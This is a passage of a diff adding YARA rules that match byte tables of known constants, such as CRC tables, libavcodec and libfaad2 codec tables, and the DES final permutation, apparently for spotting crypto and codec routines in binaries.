ff1f669bea3f040000403bc7e13ffcffff5f9ea0e63ffcffff5f9ea0e63f020000203bc7e13ffeffff3f669bea3f020000a0e27dd83ffdffffbf6b90ed3f10000080b7f8c83fffffffdf9762ef3fcdd36abda57767be000000000000f03f0a000040b8f8c8bffdffffbf9762ef3fffffffffe27dd8bffdffffbf6b90ed3fffffff7f3bc7e1bf03000000669bea3ffcffff5f9ea0e6bffcffff5f9ea0e63ffeffff3f669beabf020000203bc7e13f010000006c90edbf01000000e27dd83fffffffdf9762efbf11000020b8f8c83f000000000000f03f000000000000000004000060419fee3f000000200694d23ffcffff1f669bea3f040000403bc7e13fffffff1ff34ce43ffdffff5f80bce83f020000a0e27dd83ffdffffbf6b90ed3ff2ffff9fa617b93f040000a08dd8ef3f0a000040b8f8c8bffdffffbf9762ef3ff9ffff9f5d2bdebf040000e0b238ec3ffcffff5f9ea0e6bffcffff5f9ea0e63f040000e0b238ecbff9ffff9f5d2bde3fffffffdf9762efbf11000020b8f8c83f040000a08dd8efbf040000e0a817b9bffdffffbf6b90edbf020000a0e27dd8bf010000a080bce8bffdfffffff24ce4bffcffffbf3ac7e1bf02000080669beabff8ffff9f0594d2bf04000060419feebf000000000000f03f0000000000000000fdffffbf6b90ed3ffbffffbfe27dd83ffcffff5f9ea0e63ffcffff5f9ea0e63f020000a0e27dd83ffdffffbf6b90ed3f000000000000f03f0000000000000000fcffff5f9ea0e63ffcffff5f9ea0e63fcdd36abda57767be000000000000f03ffcffff5f9ea0e6bffcffff5f9ea0e63f000000000000f03f0000000000000000020000a0e27dd83ffdffffbf6b90ed3ffcffff5f9ea0e6bffcffff5f9ea0e63ffdffffbf6b90edbf020000a0e27dd8bf000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000873806cdc59b493e000000000000f0bf }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x4db26158__32_big_refl_False_
+{
+strings:
+	$a0 = { 000000004db261589b64c2b0d6d6a3e87b7be43836c98560e01f2688adad47d0f6f7c870bb45a9286d930ac020216b988d8c2c48c03e4d1016e8eef85b5a8fa0a05df1b8edef90e03b393308768b5250db261580969474d84042d7300df0b66856aa39c81b185890cdcefb78807c9a202dd1ddf06063bca8b6b51f40fb077e180d09822840bbe370966d4098dbdf21c0767266103bc00748ed16a4a0a0a4c5f8fbfe4a58b64c2b00609a88e82d28e9b08085ae60cd37cf381be16cd056530d88ad547390e0e612c83630b1207b82d078d62f97a89b9df6f04d4b551800f934405ba3bbe01611dab8c0c779508d75180820d85fd86d6a3e80bbbc9d68f60efc301a13045057a165088177c6e0ccc5a7b86168e0682cda8130fa0c22d8b7be4380ece4cc20a156ad7877800e903a326fc8979f2818da2d49400cfbeaa841498bf0ba4ef5e8f7fc94b0212a37586c985600c13511d08c8770885a51d36017e3b2384cb93d98010b5cc0d7ddff289a6f9e7037c2d9a07a70b8f8aca61b10e1147a48171a86785aa8e7208c7e44c8c1cc25906c61624021d30318f705a0f0bab7c1a8e1ed4e08ac5f2f507a898cb8373bede09a96aa30d724cb6801f268804c4009d8b74777c0faf516982c23b5706191d428cc3c93f8818ef2a0575851481aea301041b0bfb00c02dee8dad47d0097661c583acb5b8877793ad0a1af9938ec1df860342608a0799469f8af42ca10e2f0ab484f5dec9802ef8dc0d4392e28998b4f70c2d1c0d08f63a18859b5026014076338b9aa24e8f41845b022cee6586f7c8700947bf918d9c998400f1f3ba842ad5af0ef001d20a2b27c787464df9039d6bec8628c31682f3e5030f9e8f3d8b45a928019f7d5505445b408829317e0cf2176b8392f8a88749debd0a24b4838eff9296042546eb00fe60fe8d930ac009482cd58cfd842f8826a23a054bc8048190ee110b4a3a6c0f911c7982fc764706275052899727b30d4c01a680216b9804fa4d8d8e2099f08afbbfe50796d5db834df3ce06f85b3402237d218f4e171f0b95310a814fe5778594c36208f9a95c8c228f4902e350cf063876da8b551ce40f8e3af18554ee8c818fc8990ce2a2a7883984b20d8c2c4809570a5d843a606300e146768a3b920b8ee0b41e038dde208756f83508e68fd48c3da9c10150c3ff858be5ea0f5131970b8a178286e77dbc023c5ba98789f3538352d5460e3fbf788ae4996d003e4d1004e56b058988013b0d53272e8233c8ed86e8eef80b8584c68f5ea2d3058476ae015f50bb8c323a8508e91c908d5cb46a8987927f04eaf8418031de540aeb0a290e302c3c835d460207866017883617f60ced31e381805bdd055b7dc88f81a9b58b5a8fa00637e59e82ecc38b07596b7103824d648eef275a0a34014f80eed5328435f327095899198d83bf0c0 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book6__32_big_972_
+{
+strings:
+	$a0 = { 000000000000000b000007fe000000010000000a000003fd0000000200000009000001f10000000300000009000001eb0000000400000009000001f40000000500000009000001ea0000000600000009000001f0000000070000000a000003fc000000080000000b000007fd000000090000000a000003f60000000a00000009000001e50000000b00000008000000ea0000000c000000070000006c0000000d00000007000000710000000e00000007000000680000000f00000008000000f00000001000000009000001e6000000110000000a000003f70000001200000009000001f30000001300000008000000ef0000001400000006000000320000001500000006000000270000001600000006000000280000001700000006000000260000001800000006000000310000001900000008000000eb0000001a00000009000001f70000001b00000009000001e80000001c000000070000006f0000001d000000060000002e0000001e00000004000000080000001f000000040000000400000020000000040000000600000021000000060000002900000022000000070000006b0000002300000009000001ee0000002400000009000001ef00000025000000070000007200000026000000060000002d0000002700000004000000020000002800000004000000000000002900000004000000030000002a000000060000002f0000002b00000007000000730000002c00000009000001fa0000002d00000009000001e70000002e000000070000006e0000002f000000060000002b00000030000000040000000700000031000000040000000100000032000000040000000500000033000000060000002c00000034000000070000006d0000003500000009000001ec0000003600000009000001f90000003700000008000000ee0000003800000006000000300000003900000006000000240000003a000000060000002a0000003b00000006000000250000003c00000006000000330000003d00000008000000ec0000003e00000009000001f20000003f0000000a000003f80000004000000009000001e40000004100000008000000ed00000042000000070000006a0000004300000007000000700000004400000007000000690000004500000007000000740000004600000008000000f1000000470000000a000003fa000000480000000b000007ff000000490000000a000003f90000004a00000009000001f60000004b00000009000001ed0000004c00000009000001f80000004d00000009000001e90000004e00000009000001f50000004f0000000a000003fb000000500000000b000007fc }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap3__16_big_192_
+{
+strings:
+	$a0 = { D8D4512B2AE6EE30031EFFBC2B2A500AE627EB22F8FBF9A10F89FDE21BCEFB72499C3956EF20FFA0E381FE14A9DEEF4B0A8416E0159A5566E3D4EB33FF79A4A103C21FB3FD7C017EF9E50D48F31D1255E514577E0DCF0BD61C8018464FFCD0BD0039E5590738A8B3E8E11AA7FCCBF1B9FE7DE793F939A89BE8620632B636C7C823FE02C1E9AC0108B9D4391A1EF1FEAFFF92006C0008004AFFA7FFCE19D4FA1354B7F986E0F3FF0A54A3E741DF9EFF9BFABBFFEAAA0DE6B41F2602880806FEB5 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_128__flt64___64_big_2048_
+{
+strings:
+	$a0 = { 3ff000000000000000000000000000003feff621dfffffff3fa91f65ffffffd53fefd88da00000043fb917a6c000000f3fefa7557ffffffd3fc2c8105ffffff23fef6297bffffffd3fc8f8b84000000a3fef0a7f000000023fcf19f99ffffffc3fee9f41600000043fd29406200000003fee2121000000033fd58f9a7ffffffd3fed906bbffffffd3fd87de2bffffffb3feced7b000000003fdb5d10000000073fec38b2e00000043fde2b5d3ffffffc3feb72833fffffff3fe073879ffffffd3fea9b661ffffffc3fe1c73b400000043fe9b3e0400000003fe30ff7fffffffd3fe8bc805ffffffd3fe44cf3400000013fe7b5df1fffffff3fe57d69400000013fe6a09e5ffffffc3fe6a09e5ffffffc3fe57d691fffffff3fe7b5df400000013fe44cf31fffffff3fe8bc805ffffffd3fe30ff7fffffffd3fe9b3e0400000003fe1c73b200000023fea9b663ffffffe3fe07387800000043feb7283600000013fde2b5cdfffffff3fec38b2fffffffd3fdb5d10200000003feced7b000000003fd87de2a00000023fed906bbffffffd3fd58f9a600000043fee2121000000033fd29406000000073fee9f41600000043fcf19f8fffffffb3fef0a7f000000023fc8f8b7800000103fef6297dfffffff3fc2c810a00000083fefa7557ffffffd3fb917a69ffffff23fefd88da00000043fa91f651fffffe23feff621dfffffffbe6777a5bd6ad3cd3ff0000000000000bfa91f681fffffcb3feff621dfffffffbfb917a81fffffe63fefd88da0000004bfc2c811400000093fefa7557ffffffdbfc8f8b84000000a3fef6297bffffffdbfcf19f99ffffffc3fef0a7f00000002bfd29406600000043fee9f4140000002bfd58f9ac00000013fee212100000003bfd87de2ffffffff3fed906bbffffffdbfdb5d10000000073feced7b00000000bfde2b5d9ffffff93fec38b2e0000004bfe073879ffffffd3feb72833fffffffbfe1c73b7fffffff3fea9b6600000003bfe30ff81fffffff3fe9b3e040000000bfe44cf31fffffff3fe8bc807fffffffbfe57d69600000033fe7b5defffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfe7b5df600000033fe57d68fffffffdbfe8bc807fffffff3fe44cf31fffffffbfe9b3e0800000043fe30ff7a0000000bfea9b663ffffffe3fe1c73b20000002bfeb72833fffffff3fe073879ffffffdbfec38b31fffffff3fde2b5cc0000006bfeced7b000000003fdb5d0fdffffffcbfed906c000000013fd87de200000001bfee21211ffffffc3fd58f9a3ffffff9bfee9f41600000043fd2940660000004bfef0a7f000000023fcf19f8a0000010bfef6297dfffffff3fc8f8b820000011bfefa7557ffffffd3fc2c80f4000000dbfefd88da00000043fb917a5fffffff1bfeff621dfffffff3fa91f5f9ffffff53ff000000000000000000000000000003fefd88da00000043fb917a6c000000f3fef6297bffffffd3fc8f8b84000000a3fee9f41600000043fd29406200000003fed906bbffffffd3fd87de2bffffffb3fec38b2e00000043fde2b5d3ffffffc3fea9b661ffffffc3fe1c73b400000043fe8bc805ffffffd3fe44cf3400000013fe6a09e5ffffffc3fe6a09e5ffffffc3fe44cf31fffffff3fe8bc805ffffffd3fe1c73b200000023fea9b663ffffffe3fde2b5cdfffffff3fec38b2fffffffd3fd87de2a00000023fed906bbffffffd3fd29406000000073fee9f41600000043fc8f8b7800000103fef6297dfffffff3fb917a69ffffff23fefd88da00000043ff000000000000000000000000000003fef6297bffffffd3fc8f8b84000000a3fed906bbffffffd3fd87de2bffffffb3fea9b661ffffffc3fe1c73b400000043fe6a09e5ffffffc3fe6a09e5ffffffc3fe1c73b200000023fea9b663ffffffe3fd87de2a00000023fed906bbffffffd3fc8f8b7800000103fef6297dfffffffbe6777a5bd6ad3cd3ff0000000000000bfc8f8b84000000a3fef6297bffffffdbfd87de2ffffffff3fed906bbffffffdbfe1c73b7fffffff3fea9b6600000003bfe6a09e5ffffffc3fe6a09e5ffffffcbfea9b663ffffffe3fe1c73b20000002bfed906c000000013fd87de200000001bfef6297dfffffff3fc8f8b8200000113ff000000000000000000000000000003fee9f41600000043fd29406200000003fea9b661ffffffc3fe1c73b400000043fe44cf31fffffff3fe8bc805ffffffd3fd87de2a00000023fed906bbffffffd3fb917a69ffffff23fefd88da0000004bfc8f8b84000000a3fef6297bffffffdbfde2b5d9ffffff93fec38b2e0000004bfe6a09e5ffffffc3fe6a09e5ffffffcbfec38b2e00000043fde2b5d9ffffff9bfef6297dfffffff3fc8f8b820000011bfefd88da0000004bfb917a8e0000004bfed906bbffffffdbfd87de2a0000002bfe8bc80a0000001bfe44cf2fffffffdbfe1c73abffffffcbfea9b6680000002bfd294059ffffff8bfee9f41600000043ff000000000000000000000000000003fed906bbffffffd3fd87de2bffffffb3fe6a09e5ffffffc3fe6a09e5ffffffc3fd87de2a00000023fed906bbffffffd3ff000000000000000000000000000003fe6a09e5ffffffc3fe6a09e5ffffffcbe6777a5bd6ad3cd3ff0000000000000bfe6a09e5ffffffc3fe6a09e5ffffffc3ff000000000000000000000000000003fd87de2a00000023fed906bbffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfed906bbffffffdbfd87de2a00000023ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003e499bc5cd063887bff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d4660__8_byt_41_
+{
+strings:
+	$a0 = { 9b48e9d2e4f98660b09513679d3e708ed277c3f82e2a8d615769f3b9c84f30a052c984162dcec32f99 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_tab_exp2_G729_BITEXACT__16_big_66_
+{
+strings:
+	$a0 = { 4000416742d5444c45cb475248e24a7a4c1c4dc74f7b513852ff54d156ac58925a825c7e5e84609662b464dd671269546ba26dfe706672dd756077f27a937d427fff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_quant_centroid_tab__flt64___64_lil_784_
+{
+strings:
+	$a0 = { 00000000000000004a0c022b8716d93f273108ac1c5ae83fec51b81e85ebf13f6f1283c0caa1f73f1d5a643bdf4ffd3f105839b4c87601408716d9cef7530440be9f1a2fdd240740f6285c8fc2f5094062105839b4c80c40f0a7c64b37890f40f4fdd478e92611404c37894160e5124000000000000000009cc420b07268e13ff6285c8fc2f5f03f355eba490c02f93f25068195438b0040c520b07268910440fa7e6abc74930840e5d022dbf97e0c4048e17a14ae4710407b14ae47e17a124000000000000000000000000000000000000000000000000000000000000000000000000000000000ac1c5a643bdfe73f068195438b6cf73f713d0ad7a370014075931804560e074079e9263108ac0c40dd24068195431140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007f6abc749318f03f00000000000000408b6ce7fba9f10740e17a14ae47e10f400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000894160e5d022f53f39b4c876be9f054077be9f1a2fdd0f4000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000508d976e1283fa3f21b0726891ed0b40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068195438b6cff3f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_final_permutation_IP__8_byt_64_
+{
+strings:
+	$a0 = { 280830103818402027072f0f37173f1f26062e0e36163e1e25052d0d35153d1d24042c0c34143c1c23032b0b33133b1b22022a0a32123a1a2101290931113902 }
+
+condition:
+	$a0
+}
+
+	
+rule MS_ADPCM_AdaptationTable__32_big_64_
+{
+strings:
+	$a0 = { 000000e6000000e6000000e6000000e6000001330000019900000200000002660000030000000266000002000000019900000133000000e6000000e6000000e6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_140__16_big_240_
+{
+strings:
+	$a0 = { 0e460ccc0b6d0a2808fc07e806eb06040532047403c9033002a8023001c7016c011e00dc00a500780054003800230014000a000400010000000000000196017a015f0145012c011400fd00e700d200be00ab0099008800780069005b004e00420037002d0024001c0015000f000a00060003000100000000001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a0009000800070006000500040003000200010000000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_old__32_big_64_
+{
+strings:
+	$a0 = { 00000000000000010000000200000003000000060000000A0000000F00000015FFFFFFEBFFFFFFF1FFFFFFF6FFFFFFFAFFFFFFFDFFFFFFFEFFFFFFFF00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossless_quant_d__flt64___64_big_256_
+{
+strings:
+	$a0 = { 00000000000000003ff00000000000003fe00000000000003fd51eb851eb851f3fd00000000000003fc53f7ced9168733fc00000000000003fb53f7ced9168733fb00000000000003fa00000000000003f8ff2e48e8a71de3f80203e63e8dda53f701083dbc233163f6008205ff1d81f3f5003eea209aaa43f4001d5c31593e63f3000ff0380be013f2000ff0380be013f1000533709ac7c3f0000533709ac7c3ef000533709ac7c3edfff938d54d68b3ed000533709ac7c3ebffe80ac96541d3eb0001c3d49f8cd3e9fff5c939522db3e8fff5c939522db00000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_240__flt32___32_big_1920_
+{
+strings:
+	$a0 = { 3f800000000000003f7fe98b3cd6710b3f7fa62f3d565e3b3f7f35f93da0af2a3f7e98fd3dd613053f7dcf553e05a8a93f7cd9253e20305c3f7bb6983e3a9bf33f7a67e23e54e6ce3f78ed3c3e6f0c4e3f7746ea3e8483ee3f7575363e916a763f7378713e9e377a3f7150f43eaae8bc3f6eff203eb77c013f6c835e3ec3ef163f69de1d3ed03fc93f670fd43edc6bf43f6419013ee871723f60fa283ef44e283f5db3d73f0000003f5a46a03f05c2773f56b31d3f0b6d773f52f9ef3f1100003f4f1bbd3f1679183f4b19343f1bd7ca3f46f3093f211b243f42a9f73f26423b3f3e3ebd3f2b4c253f39b2233f3038013f3504f33f3504f33f3038013f39b2233f2b4c243f3e3ebe3f26423a3f42a9f73f211b243f46f30a3f1bd7c93f4b19353f1679183f4f1bbd3f1100003f52f9ef3f0b6d763f56b31e3f05c2763f5a46a13effffff3f5db3d83ef44e273f60fa293ee871723f6419013edc6bf13f670fd53ed03fc83f69de1e3ec3ef153f6c835e3eb77bfe3f6eff213eaae8ba3f7150f43e9e37793f7378713e916a753f7575363e8483ef3f7746ea3e6f0c493f78ed3c3e54e6cb3f7a67e23e3a9bf33f7bb6983e2030553f7cd9253e05a8a43f7dcf553dd612ff3f7e98fd3da0af283f7f35f93d565e3f3f7fa62f3cd670e33f7fe98bb33bbd2e3f800000bcd671123f7fe98bbd565e563f7fa62fbda0af343f7f35f9bdd6130b3f7e98fdbe05a8aa3f7dcf55be20305a3f7cd925be3a9bf83f7bb698be54e6d13f7a67e1be6f0c4f3f78ed3cbe8483f23f7746eabe916a783f757535be9e377b3f737870beaae8bc3f7150f4beb77c013f6eff21bec3ef183f6c835ebed03fcb3f69de1dbedc6bf43f670fd4bee871753f641900bef44e263f60fa293f800000000000003f7fa62f3d565e3b3f7e98fd3dd613053f7cd9253e20305c3f7a67e23e54e6ce3f7746ea3e8483ee3f7378713e9e377a3f6eff203eb77c013f69de1d3ed03fc93f6419013ee871723f5db3d73f0000003f56b31d3f0b6d773f4f1bbd3f1679183f46f3093f211b243f3e3ebd3f2b4c253f3504f33f3504f33f2b4c243f3e3ebe3f211b243f46f30a3f1679183f4f1bbd3f0b6d763f56b31e3effffff3f5db3d83ee871723f6419013ed03fc83f69de1e3eb77bfe3f6eff213e9e37793f7378713e8483ef3f7746ea3e54e6cb3f7a67e23e2030553f7cd9253dd612ff3f7e98fd3d565e3f3f7fa62fb33bbd2e3f800000bd565e563f7fa62fbdd6130b3f7e98fdbe20305a3f7cd925be54e6d13f7a67e1be8483f23f7746eabe9e377b3f737870beb77c013f6eff21bed03fcb3f69de1dbee871753f641900bf0000013f5db3d7bf0b6d773f56b31dbf1679173f4f1bbdbf211b263f46f308bf2b4c263f3e3ebdbf3504f33f3504f3bf3e3ebf3f2b4c22bf46f30b3f211b22bf4f1bbe3f167917bf56b31d3f0b6d77bf5db3d73f000001bf6419023ee8716dbf69de1e3ed03fc7bf6eff213eb77c00bf7378723e9e3773bf7746eb3e8483eabf7a67e23e54e6c8bf7cd9253e20305abf7e98fd3dd61309bf7fa6303d565e13bf800000b3bbbd2ebf7fa62fbd565e42bf7e98fcbdd61321bf7cd924be203065bf7a67e1be54e6d4bf7746eabe8483efbf737871be9e3779bf6eff20beb77c06bf69de1dbed03fccbf641901bee87173bf5db3d5bf000003bf56b31cbf0b6d79bf4f1bbcbf16791abf46f309bf211b25bf3e3ebdbf2b4c25bf3504f1bf3504f5bf2b4c23bf3e3ebebf211b23bf46f30abf167915bf4f1bbfbf0b6d78bf56b31d3f800000000000003f7f35f93da0af2a3f7cd9253e20305c3f78ed3c3e6f0c4e3f7378713e9e377a3f6c835e3ec3ef163f6419013ee871723f5a46a03f05c2773f4f1bbd3f1679183f42a9f73f26423b3f3504f33f3504f33f26423a3f42a9f73f1679183f4f1bbd3f05c2763f5a46a13ee871723f6419013ec3ef153f6c835e3e9e37793f7378713e6f0c493f78ed3c3e2030553f7cd9253da0af283f7f35f93f800000000000003f7cd9253e20305c3f7378713e9e377a3f6419013ee871723f4f1bbd3f1679183f3504f33f3504f33f1679183f4f1bbd3ee871723f6419013e9e37793f7378713e2030553f7cd925b33bbd2e3f800000be20305a3f7cd925be9e377b3f737870bee871753f641900bf1679173f4f1bbdbf3504f33f3504f3bf4f1bbe3f167917bf6419023ee8716dbf7378723e9e3773bf7cd9253e20305a3f800000000000003f78ed3c3e6f0c4e3f6419013ee871723f42a9f73f26423b3f1679183f4f1bbd3ec3ef153f6c835e3e2030553f7cd925bda0af343f7f35f9be9e377b3f737870bf05c2793f5a469fbf3504f33f3504f3bf5a46a13f05c276bf7378723e9e3773bf7f35fa3da0af22bf7cd924be203065bf6c835ebec3ef15bf4f1bbcbf16791abf264238bf42a9f9bee87168bf641903be6f0c53bf78ed3c3f800000000000003f7378713e9e377a3f4f1bbd3f1679183f1679183f4f1bbd3e9e37793f7378713f800000000000003f4f1bbd3f1679183e9e37793f737871be9e377b3f737870bf4f1bbe3f1679173f800000000000003f1679183f4f1bbdbe9e377b3f737870bf7378723e9e3773bf4f1bbcbf16791a3f800000000000003f800000000000003f800000000000003f800000000000003e9e377ebf737870 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xd6d6a3e8__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000e8a3d6d638e47b7bd047adad70c8f7f6986b2120482c8c8da08f5a5b0833393be090efed30d74240d874949678fbcecd9058181b401fb5b6a8bc636010667276f8c5a4a02882090dc021dfdb60ae8580880d5356584afefbb0e9282d18554b4df0f69d9b20b13036c812e6e0689dbcbb803e6a6d5079c7c0b8da111620cce4ecc86f323a18289f97f08b49415004131ab8a7c5cc68e068618043beb728ffddd7c05c0b01101ba6acf8b8707a58372a21b094fcf760d3515a8870878c30aa969ad809404c084eede1e0ed3b374062616ca8c1b7ba78861a179025ccc13899afa1d03a7977007dd4dae8de020c48515857a0f28e8170b5232c9816f5faa83b1f0f4098c9d990df6474787cb2a2d8f3e8f930503e2fe017938208b44554a008263448abf0e298ec5d4f704f8b99d0c0d1c238630714e824aab900877c6fb85d6d7950febbaf80b91602681ac0d4c8959a8f20364c59f071e1f418d23722b06e544258cd8294888a2f396029f9efc0a6a3b428057562f842d8cf10e10e1988f7fbe360542d35b013809858b0564ef83f0c15109cdac3c0db776e2878a1b880c4c2d86867140eb820b9a350836f75f00c352e18afe3f8c8e84e55204b98839891899570325f43a075f2ee48d62438e8597e6300faa8b5d0bd0518381ed3ce90a2b0ae78016678a846cbd540e51d03e06a475808c9918ed88e3c23302deaf550773e1eb8d4e8c868934565803093b320bfc9e8c81c1f3e185bb293f0f8644558440725b0e7d1f360a07c5e8803aa88288cf0d3c02f260510688ba8f8cb5d7e40114c68a8b29abe78f537139056e1c530d9bb9ed87a6d48083dc0e5e09e163348227553a081a38570c60e289865d8fe38ea82a5d0495473000ef9dee8ad2f0870bbdaf298180c24485fa189a0fc775f00732d04e8d0fbd23897567fd03480a97888e3c9902b351f406c98b2a8cf4e640840143fe0e3c2e930a46f44d807b99260dda884887e7e525839d3ffb09a052910155f72f8b689a428f12409c052f2df68ee91bf804d4769500aeac4b8a93c1218266649f085b09f20c21d32c861cbe4f84c211110eff7c7c0a85a6a280b8cbc8884d6e760270031b060ad9c58c37b4af07f182a18dccefcc89b63512038b58780b7efdc6814390ab85394a750f04271e82a5367008985b1d0ce281c386dfeca98e2a49170417247a006dfea48a5093ce0196a5c08babc8ad8fd1127305ec7f190d19daa78724b7ca835e6d140963007d880c5fd3023132be064be8608c76850a848320b40ebe4dd90ac4970780f9fa6d0b3fcc638102a10e85787bd00f4516ba07b0b3048d8dde6989f704b703ca69dc8e6b78b2045615df002ccf018a11a26b82e407d508d96ab80ca3b066869edd0c0d58eb028765866f831f5cb1092231db01d794658beaf9088f9023d605ad4eb }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_uodemo_dat_algorithm_key__32_big_32_
+{
+strings:
+	$a0 = { f7aa4c98bf62c0670b524334bc28a2d06b57c2d1233843aac06d021038d4f804 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_24_120__16_lil_30_
+{
+strings:
+	$a0 = { 040008000c001000140018001c0024002c00340040004c005c006c007800 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_H_26L_H_264_AVC_JVT_14496_10_lps_range__8_byt_256_
+{
+strings:
+	$a0 = { 80b0d0f080a7c5e3809ebbd87b96b2cd748ea9c36f87a0b9698098af647a90a65f74899e5a6e829655687b8e516375874d5e6f804959697a4555647442505f6e3e4c5a683b4856633845515e35414d59333e4955303b45502e38424c2b353f4829323b4527303841252d363e232b333b2129303820272e351e252b321d2329301b21272d1a1f252b181e2329171c2127161b2025151a1e2314181d2113171b1f12161a1e1115191c1014171b0f1316190e1215180e1114170d1013160c0f12150c0e11140b0e10130b0d0f120a0c0f110a0c0e10090b0d0f090b0c0e080a0c0e08090b0d07090b0c07090a0c07080a0b0608090b0607090a0607080902020202 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg2_vlc__16_big_452_
+{
+strings:
+	$a0 = { 000200020006000300070004001c0005001d00050005000600040006007b0007007c0007002300080022000800fa000800fb000800fe000800ff0008001f000e001e000e001d000e001c000e001b000e001a000e0019000e0018000e0017000e0016000e0015000e0014000e0013000e0012000e0011000e0010000e0018000f0017000f0016000f0015000f0014000f0013000f0012000f0011000f0010000f00020003000600050079000700270008002000080016000d0015000d001f000f001e000f001d000f001c000f001b000f001a000f0019000f00130010001200100011001000100010000500050007000700fc0008000c000a0014000d0007000500260008001c000c0013000d0006000600fd00080012000c00070006000400090012000d00060007001e000c00140010000400070015000c000500070011000c007800070011000d007a00070010000d00210008001a00100025000800190010002400080018001000050009001700100007000900160010000d000a00150010001f000c001a000c0019000c0017000c0016000c001f000d001e000d001d000d001c000d001b000d001f0010001e0010001d0010001c0010001b00100001000600060004 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_10_poly_0x331__16_big_refl_False_
+{
+strings:
+	$a0 = { 00000331066205530cc40ff50aa6099719881ab91fea1cdb154c167d132e101f33103021357236433fd43ce539b63a872a9829a92cfa2fcb265c256d203e230f66206511604263736ae469d56c866fb77fa87c9979ca7afb736c705d750e763f553056015352506359f45ac55f965ca74cb84f894ada49eb407c434d461e452fcc40cf71ca22c913c084c3b5c6e6c5d7d5c8d6f9d3aad09bd90cda3ddf6edc5fff50fc61f932fa03f394f0a5f5f6f6c7e6d8e5e9e0bae38bea1ce92dec7eef4faa60a951ac02af33a6a4a595a0c6a3f7b3e8b0d9b58ab6bbbf2cbc1db94eba7f99709a419f129c2395b4968593d690e780f883c9869a85ab8c3c8f0d8a5e896f9bb198809dd39ee2977594449117922682398108845b876a8efd8dcc889f8baea8a1ab90aec3adf2a465a754a207a136b129b218b74bb47abdedbedcbb8fb8befd91fea0fbf3f8c2f155f264f737f406e419e728e27be14ae8ddebeceebfed8ece81cdb0c8e3cbd2c245c174c427c716d709d438d16bd25adbcdd8fcddafde9e57f154c0519352a25b3558045d575e664e794d48481b4b2a42bd418c44df47ee64e167d0628361b268256b146e476d767d697e587b0b783a71ad729c77cf74fe31d132e037b334823d153e243b77384628592b682e3b2d0a249d27ac22ff21ce02c101f004a307920e050d3408670b561b4918781d2b1e1a178d14bc11ef12de }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_144_cb1_base__16_lil_256_
+{
+strings:
+	$a0 = { c94c2a48bd4770443852374798481f418b4f7d4ad14bfe47545541499d4c0344a54f0c55a14ec654f251f84fab4cbb4be5535e5a51556f5d49560f548e527451db4c9d45644a4544124e3b420e48d63e9252d349d851f149cc53a945884e07433a4d584e704f8251814b2947dc4954463454bc55275a515dba51584cf851454d454df851584cba51515d275abc5534545446dc492947814b8251704f584e3a4d0743884ea945cc53f149d851d3499252d63e0e483b42124e4544644a9d45db4c74518e520f5449566f5d51555e5ae553bb4bab4cf84ff251c654a14e0c55a54f03449d4c41495455fe47d14b7d4a8b4f1f419848374738527044bd472a48c94c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_VC_1_vc1_ac_tables__32_lil_1488_
+{
+strings:
+	$a0 = { 010000000200000005000000030000000d0000000400000012000000050000000e00000006000000150000000700000013000000080000003f000000080000004b000000090000001f01000009000000b80000000a000000e30300000a000000720100000b0000004d0200000c000000da0300000c000000dd0200000d000000551f00000d000000b90500000e000000ae3e00000e00000000000000040000001000000005000000080000000700000020000000080000002900000009000000f401000009000000330200000a000000e00100000b0000002a0100000c000000dd0300000c0000000a0500000d000000291f00000d000000420a00000e000000721200000f000000371700000f00000003000000050000001100000007000000c4000000080000004b0000000a000000b40000000b000000d40700000b000000450300000c000000d70200000d000000bf0700000d000000380900000e000000bb0b00000e0000005e0900000f000000130000000500000078000000070000006900000009000000320200000a000000610400000b000000ec0300000c000000200500000d0000002a1f00000d000000503e00000e000000513e00000e000000861400000f0000000c000000060000002400000009000000940000000b000000c00800000c000000090f00000e000000f01e00000f0000003d000000060000005300000009000000a00100000b000000d60200000d000000080f00000e00000013000000070000007c00000009000000c10700000b000000ac0400000e0000001b00000007000000a00000000a000000440300000c000000790f00000e0000007900000007000000e10300000a000000d40200000d000000062300000e00000021000000080000003c0200000a000000ae0f00000c000000de2300000e0000003500000008000000750100000b000000b30700000d000000c500000008000000740100000b000000850700000d0000004800000009000000a30100000b0000009e0400000d0000002c00000009000000fa0000000a000000d60700000b000000920000000a00000